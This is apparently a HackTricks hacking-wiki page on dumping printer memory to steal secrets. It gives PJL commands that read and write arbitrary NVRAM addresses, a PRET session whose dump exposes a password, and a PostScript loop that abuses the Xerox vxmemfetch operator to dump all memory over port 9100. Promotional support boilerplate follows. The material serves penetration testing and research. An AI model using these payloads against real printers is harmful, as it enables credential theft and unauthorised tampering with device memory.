3.8 KiB
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You can try to dump the NVRAM and extract confidential info (as passwords) from there.
In PJL (Brother) you can access arbitrary NVRAM addresses using PJL as shown below:
@PJL RNVRAM ADDRESS = X # read byte at location X
@PJL WNVRAM ADDRESS = X DATA = Y # write byte Y to location X
You can test this attack using PRET:
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> nvram dump
Writing copy to nvram/printer
................................................................................
................................................................................
............................................MyS3cretPassw0rd....................
................................................................................
Certain Xerox printer models have a proprietary PostScript vxmemfetch operator built into, which allows an attacker to read arbitrary memory addresses. Using a PostScript loop, this feature can be easily used to dump the whole memory as show below (PRET doesn't have this attack so you will need to send this payload to the port 9100 in a nc connection):
/counter 0 def 50000 {
/counter counter 1 add def
currentdict /RRCustomProcs /ProcSet findresource begin
begin counter 1 false vxmemfetch end end == counter
} repeat
More information here: http://hacking-printers.net/wiki/index.php/Memory_access
Support HackTricks and get benefits!
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Discover The PEASS Family, our collection of exclusive NFTs
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Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
Share your hacking tricks submitting PRs to the hacktricks github repo.